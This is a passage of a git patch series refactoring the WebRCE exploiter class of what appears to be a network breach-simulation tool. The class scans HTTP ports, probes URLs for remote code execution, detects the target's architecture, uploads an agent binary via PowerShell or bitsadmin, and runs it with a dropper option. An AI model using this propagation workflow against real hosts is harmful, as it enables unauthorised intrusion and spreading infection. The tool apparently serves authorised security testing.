WEB_RCE predetermined paths(self.monkey_target_paths). + :param url_to_monkey: Hosted monkey's url. egz : http://localserver:9999/monkey/windows-32.exe + :return: Corresponding monkey path from self.monkey_target_paths + """ + if not url_to_monkey or ('linux' not in url_to_monkey and 'windows' not in url_to_monkey): + LOG.error("Can't get destination path because source path %s is invalid.", url_to_monkey) + return False + try: + if 'linux' in url_to_monkey: + return self.monkey_target_paths['linux'] + elif 'windows-32' in url_to_monkey: + return self.monkey_target_paths['win32'] + elif 'windows-64' in url_to_monkey: + return self.monkey_target_paths['win64'] + else: + LOG.error("Could not figure out what type of monkey server was trying to upload, " + "thus destination path can not be chosen.") + return False + except AttributeError: + LOG.error("Seems like monkey's source configuration property names changed. " + "Can not get destination path to upload monkey") + return False + + def custom_to_dropper_path(self, path): + try: + key = self.monkey_target_paths.keys()[self.monkey_target_paths.values().index(path)] + except KeyError: + LOG.error("The path you used is not in monkey_target_paths array. Skipping") + return False + if key == 'linux': + return self._config.dropper_target_path_linux + elif key == 'win32': + return self._config.dropper_target_path_win_32 + elif key == 'win64': + return self._config.dropper_target_path_win_64 + else: + LOG.error("Unknown key was found. Please use \"linux\", \"win32\" and \"win64\" keys to initialize " + "custom dict of monkey's destination paths") + return False From e3d286dbc006f0b482ffc24bf74b6c958d00fd91 Mon Sep 17 00:00:00 2001 From: Vakaris Date: Sat, 18 Aug 2018 13:14:05 +0300 Subject: [PATCH 10/14] Minor bugfix for error handling in new custom monkey destination paths feature --- infection_monkey/exploit/web_rce.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/infection_monkey/exploit/web_rce.py b/infection_monkey/exploit/web_rce.py index c26d4a920..bb4613b1f 100644 --- a/infection_monkey/exploit/web_rce.py +++ b/infection_monkey/exploit/web_rce.py @@ -381,9 +381,9 @@ class WebRCE(HostExploiter): LOG.error("Could not figure out what type of monkey server was trying to upload, " "thus destination path can not be chosen.") return False - except AttributeError: - LOG.error("Seems like monkey's source configuration property names changed. " - "Can not get destination path to upload monkey") + except KeyError: + LOG.error("Unknown key was found. Please use \"linux\", \"win32\" and \"win64\" keys to initialize " + "custom dict of monkey's destination paths") return False def custom_to_dropper_path(self, path): From 911404ef680a1d59a6905104e89a93730f913823 Mon Sep 17 00:00:00 2001 From: Vakaris Date: Tue, 21 Aug 2018 12:34:59 +0300 Subject: [PATCH 11/14] Implemented default_exploit_host method that can implement whole framework's workflow according to some flags/params --- infection_monkey/exploit/web_rce.py | 89 ++++++++++++++++++----------- 1 file changed, 56 insertions(+), 33 deletions(-) diff --git a/infection_monkey/exploit/web_rce.py b/infection_monkey/exploit/web_rce.py index bb4613b1f..777b256bd 100644 --- a/infection_monkey/exploit/web_rce.py +++ b/infection_monkey/exploit/web_rce.py @@ -11,13 +11,17 @@ from network.tools import check_tcp_port, tcp_port_to_service __author__ = 'VakarisZ' LOG = logging.getLogger(__name__) -# Commands used to check if monkeys already exists +# Command used to check if monkeys already exists LOOK_FOR_FILE = "ls %s" +POWERSHELL_NOT_FOUND = "owershell is not recognized" +# Constants used to refer to windows architectures( used in host.os['machine']) +WIN_ARCH_32 = "32" +WIN_ARCH_64 = "64" class WebRCE(HostExploiter): - def __init__(self, host, monkey_target_paths=None): + def __init__(self, host, monkey_target_paths): """ :param host: Host that we'll attack :param monkey_target_paths: Dict in format {'linux': '/tmp/monkey.sh', 'win32': './monkey32.exe', 'win64':... } @@ -35,7 +39,22 @@ class WebRCE(HostExploiter): def exploit_host(self): """ - Example workflow of the framework. Most likely you will have to override this method. + Override this method to pass custom arguments to default_exploit_host + :return: True if exploited, False otherwise + """ + return self.default_exploit_host() + + def default_exploit_host(self, dropper=False, upload_commands=None, url_extensions=None, + stop_checking_urls=False, blind_exploit=False): + """ + Standard framework usage (call this method in exploit_host function): + :param dropper: If true monkey will use dropper parameter that will detach monkey's process and try to copy + it's file to the default destination path. + :param upload_commands: Unformatted dict with one or two commands {'linux': WGET_HTTP_UPLOAD,'windows': WIN_CMD} + Command must have "monkey_path" and "http_path" format parameters. + :param url_extensions: What subdirectories to scan (www.domain.com[/extension]). Eg. ["home", "index.php"] + :param stop_checking_urls: If true it will stop checking vulnerable urls once one was found vulnerable. + :param blind_exploit: If true we won't check if file exist and won't try to get the architecture of target. :return: True if exploited and False otherwise. """ # Get open ports @@ -43,27 +62,29 @@ class WebRCE(HostExploiter): if not ports: return False # Get urls to try to exploit - urls = self.build_potential_urls(ports) + urls = self.build_potential_urls(ports, url_extensions) vulnerable_urls = [] for url in urls: if self.check_if_exploitable(url): vulnerable_urls.append(url) + if stop_checking_urls: + break self._exploit_info['vulnerable_urls'] = vulnerable_urls if not vulnerable_urls: return False # Skip if monkey already exists and this option is given - if self.skip_exist and self.check_remote_files(vulnerable_urls[0]): + if not blind_exploit and self.skip_exist and self.check_remote_files(vulnerable_urls[0]): LOG.info("Host %s was already infected under the current configuration, done" % self.host) return True # Check for targets architecture (if it's 32 or 64 bit) - if not self.set_host_arch(vulnerable_urls[0]): + if not blind_exploit and not self.set_host_arch(vulnerable_urls[0]): return False # Upload the right monkey to target - data = self.upload_monkey(vulnerable_urls[0]) + data = self.upload_monkey(vulnerable_urls[0], upload_commands) if data is not False and data['response'] is False: return False @@ -73,7 +94,7 @@ class WebRCE(HostExploiter): return False # Execute remote monkey - if self.execute_remote_monkey(vulnerable_urls[0], data['path']) is False: + if self.execute_remote_monkey(vulnerable_urls[0], data['path'], dropper) is False: return False return True @@ -113,16 +134,16 @@ class WebRCE(HostExploiter): return True def get_command(self, path, http_path, commands): - if 'linux' in self.host.os['type']: - command = commands['linux'] - else: - command = commands['windows'] - # Format command try: + if 'linux' in self.host.os['type']: + command = commands['linux'] + else: + command = commands['windows'] + # Format command command = command % {'monkey_path': path, 'http_path': http_path} except KeyError: - LOG.error("Trying to exploit linux host, but linux command is missing/bad! " - "Check upload_monkey function docs.") + LOG.error("Provided command is missing/bad for this type of host! " + "Check upload_monkey function docs before using custom monkey's upload commands.") return False return command @@ -193,9 +214,9 @@ class WebRCE(HostExploiter): resp = self.exploit(url, GET_ARCH_WINDOWS) if resp: if "64-bit" in resp: - return "64" + return WIN_ARCH_64 else: - return "32" + return WIN_ARCH_32 else: return False @@ -280,7 +301,7 @@ class WebRCE(HostExploiter): resp = self.exploit(url, command) - if not isinstance(resp, bool) and 'owershell is not recognized' in resp: + if not isinstance(resp, bool) and POWERSHELL_NOT_FOUND in resp: LOG.info("Powershell not found in host. Using bitsadmin to download.") backup_command = RDP_CMDLINE_HTTP % {'monkey_path': path, 'http_path': http_path} resp = self.exploit(url, backup_command) @@ -334,7 +355,7 @@ class WebRCE(HostExploiter): # Get monkey command line if dropper and path: # If dropper is chosen we try to move monkey to default location - default_path = self.custom_to_dropper_path(path) + default_path = self.get_default_dropper_path() if default_path is False: return False monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1, default_path) @@ -386,19 +407,21 @@ class WebRCE(HostExploiter): "custom dict of monkey's destination paths") return False - def custom_to_dropper_path(self, path): - try: - key = self.monkey_target_paths.keys()[self.monkey_target_paths.values().index(path)] - except KeyError: - LOG.error("The path you used is not in monkey_target_paths array. Skipping") + def get_default_dropper_path(self): + """ + Gets default dropper path for the host. + :return: Default monkey's destination path for corresponding host. + E.g. config.dropper_target_path_linux(/tmp/monkey.sh) for linux host + """ + if not self.host.os.get('type') or (self.host.os['type'] != 'linux' and self.host.os['type'] != 'windows'): + LOG.error("Target's OS was either unidentified or not supported. Aborting") return False - if key == 'linux': + if self.host.os['type'] == 'linux': return self._config.dropper_target_path_linux - elif key == 'win32': - return self._config.dropper_target_path_win_32 - elif key == 'win64': - return self._config.dropper_target_path_win_64 - else: - LOG.error("Unknown key was found. Please use \"linux\", \"win32\" and \"win64\" keys to initialize " - "custom dict of monkey's destination paths") - return False + if self.host.os['type'] == 'windows': + try: + if self.host.os['machine'] == WIN_ARCH_64: + return self._config.dropper_target_path_win_64 + except KeyError: + LOG.debug("Target's machine type was not set. Using win-32 dropper path.") + return self._config.dropper_target_path_win_32 From eae3f3440d4d383e7ac0d0e547a2a3a691c75f05 Mon Sep 17 00:00:00 2001 From: Vakaris Date: Wed, 22 Aug 2018 13:33:36 +0300 Subject: [PATCH 12/14] Refactored exploit_host and added get_exploit_config --- infection_monkey/exploit/web_rce.py | 56 ++++++++++++++++++----------- 1 file changed, 35 insertions(+), 21 deletions(-) diff --git a/infection_monkey/exploit/web_rce.py b/infection_monkey/exploit/web_rce.py index 777b256bd..c907ca08e 100644 --- a/infection_monkey/exploit/web_rce.py +++ b/infection_monkey/exploit/web_rce.py @@ -37,37 +37,51 @@ class WebRCE(HostExploiter): self.HTTP = [str(port) for port in self._config.HTTP_PORTS] self.skip_exist = self._config.skip_exploit_if_file_exist + @staticmethod + def get_exploit_config(): + """ + Method that creates a dictionary of configuration values for exploit + :return: configuration dict + """ + exploit_config = dict() + + # dropper: If true monkey will use dropper parameter that will detach monkey's process and try to copy + # it's file to the default destination path. + exploit_config['dropper'] = False + + # upload_commands: Unformatted dict with one or two commands {'linux': WGET_HTTP_UPLOAD,'windows': WIN_CMD} + # Command must have "monkey_path" and "http_path" format parameters. If None defaults will be used. + exploit_config['upload_commands'] = None + + # url_extensions: What subdirectories to scan (www.domain.com[/extension]). Eg. ["home", "index.php"] + exploit_config['url_extensions'] = None + + # stop_checking_urls: If true it will stop checking vulnerable urls once one was found vulnerable. + exploit_config['stop_checking_urls'] = False + + # blind_exploit: If true we won't check if file exist and won't try to get the architecture of target. + exploit_config['blind_exploit'] = False + + return exploit_config + def exploit_host(self): """ Override this method to pass custom arguments to default_exploit_host :return: True if exploited, False otherwise """ - return self.default_exploit_host() - - def default_exploit_host(self, dropper=False, upload_commands=None, url_extensions=None, - stop_checking_urls=False, blind_exploit=False): - """ - Standard framework usage (call this method in exploit_host function): - :param dropper: If true monkey will use dropper parameter that will detach monkey's process and try to copy - it's file to the default destination path. - :param upload_commands: Unformatted dict with one or two commands {'linux': WGET_HTTP_UPLOAD,'windows': WIN_CMD} - Command must have "monkey_path" and "http_path" format parameters. - :param url_extensions: What subdirectories to scan (www.domain.com[/extension]). Eg. ["home", "index.php"] - :param stop_checking_urls: If true it will stop checking vulnerable urls once one was found vulnerable. - :param blind_exploit: If true we won't check if file exist and won't try to get the architecture of target. - :return: True if exploited and False otherwise. - """ + # We get exploit configuration + exploit_config = self.get_exploit_config() # Get open ports ports = self.get_ports_w(self.HTTP, ["http"]) if not ports: return False # Get urls to try to exploit - urls = self.build_potential_urls(ports, url_extensions) + urls = self.build_potential_urls(ports, exploit_config['url_extensions']) vulnerable_urls = [] for url in urls: if self.check_if_exploitable(url): vulnerable_urls.append(url) - if stop_checking_urls: + if exploit_config['stop_checking_urls']: break self._exploit_info['vulnerable_urls'] = vulnerable_urls @@ -75,16 +89,16 @@ class WebRCE(HostExploiter): return False # Skip if monkey already exists and this option is given - if not blind_exploit and self.skip_exist and self.check_remote_files(vulnerable_urls[0]): + if not exploit_config['blind_exploit'] and self.skip_exist and self.check_remote_files(vulnerable_urls[0]): LOG.info("Host %s was already infected under the current configuration, done" % self.host) return True # Check for targets architecture (if it's 32 or 64 bit) - if not blind_exploit and not self.set_host_arch(vulnerable_urls[0]): + if not exploit_config['blind_exploit'] and not self.set_host_arch(vulnerable_urls[0]): return False # Upload the right monkey to target - data = self.upload_monkey(vulnerable_urls[0], upload_commands) + data = self.upload_monkey(vulnerable_urls[0], exploit_config['upload_commands']) if data is not False and data['response'] is False: return False @@ -94,7 +108,7 @@ class WebRCE(HostExploiter): return False # Execute remote monkey - if self.execute_remote_monkey(vulnerable_urls[0], data['path'], dropper) is False: + if self.execute_remote_monkey(vulnerable_urls[0], data['path'], exploit_config['dropper']) is False: return False return True From e1b1236fb3bdb0cdd5ccbef739d9b3e55b20eaa3 Mon Sep 17 00:00:00 2001 From: Vakaris Date: Wed, 22 Aug 2018 13:41:17 +0300 Subject: [PATCH 13/14] Comments and CR notes fixed --- infection_monkey/exploit/web_rce.py | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/infection_monkey/exploit/web_rce.py b/infection_monkey/exploit/web_rce.py index c907ca08e..4eaefc3b3 100644 --- a/infection_monkey/exploit/web_rce.py +++ b/infection_monkey/exploit/web_rce.py @@ -5,7 +5,7 @@ from model import * from posixpath import join import re from abc import abstractmethod -from exploit.tools import get_target_monkey, get_monkey_depth, build_monkey_commandline, HTTPTools, get_monkey_dest_path +from exploit.tools import get_target_monkey, get_monkey_depth, build_monkey_commandline, HTTPTools from network.tools import check_tcp_port, tcp_port_to_service __author__ = 'VakarisZ' @@ -24,7 +24,8 @@ class WebRCE(HostExploiter): def __init__(self, host, monkey_target_paths): """ :param host: Host that we'll attack - :param monkey_target_paths: Dict in format {'linux': '/tmp/monkey.sh', 'win32': './monkey32.exe', 'win64':... } + :param monkey_target_paths: Where to upload the monkey at the target host system. + Dict in format {'linux': '/tmp/monkey.sh', 'win32': './monkey32.exe', 'win64':... } """ super(WebRCE, self).__init__(host) self._config = __import__('config').WormConfiguration @@ -66,7 +67,7 @@ class WebRCE(HostExploiter): def exploit_host(self): """ - Override this method to pass custom arguments to default_exploit_host + Method that contains default exploitation workflow :return: True if exploited, False otherwise """ # We get exploit configuration @@ -424,7 +425,7 @@ class WebRCE(HostExploiter): def get_default_dropper_path(self): """ Gets default dropper path for the host. - :return: Default monkey's destination path for corresponding host. + :return: Default monkey's destination path for corresponding host or False if failed. E.g. config.dropper_target_path_linux(/tmp/monkey.sh) for linux host """ if not self.host.os.get('type') or (self.host.os['type'] != 'linux' and self.host.os['type'] != 'windows'): From 3e7d7425e4f608562ec667b88170b472ede04b8b Mon Sep 17 00:00:00 2001 From: Vakaris Date: Wed, 22 Aug 2018 16:01:16 +0300 Subject: [PATCH 14/14] made get_exploit_config non-static for readability --- infection_monkey/exploit/web_rce.py | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/infection_monkey/exploit/web_rce.py b/infection_monkey/exploit/web_rce.py index 4eaefc3b3..0b4d041a1 100644 --- a/infection_monkey/exploit/web_rce.py +++ b/infection_monkey/exploit/web_rce.py @@ -38,8 +38,7 @@ class WebRCE(HostExploiter): self.HTTP = [str(port) for port in self._config.HTTP_PORTS] self.skip_exist = self._config.skip_exploit_if_file_exist - @staticmethod - def get_exploit_config(): + def get_exploit_config(self): """ Method that creates a dictionary of configuration values for exploit :return: configuration dict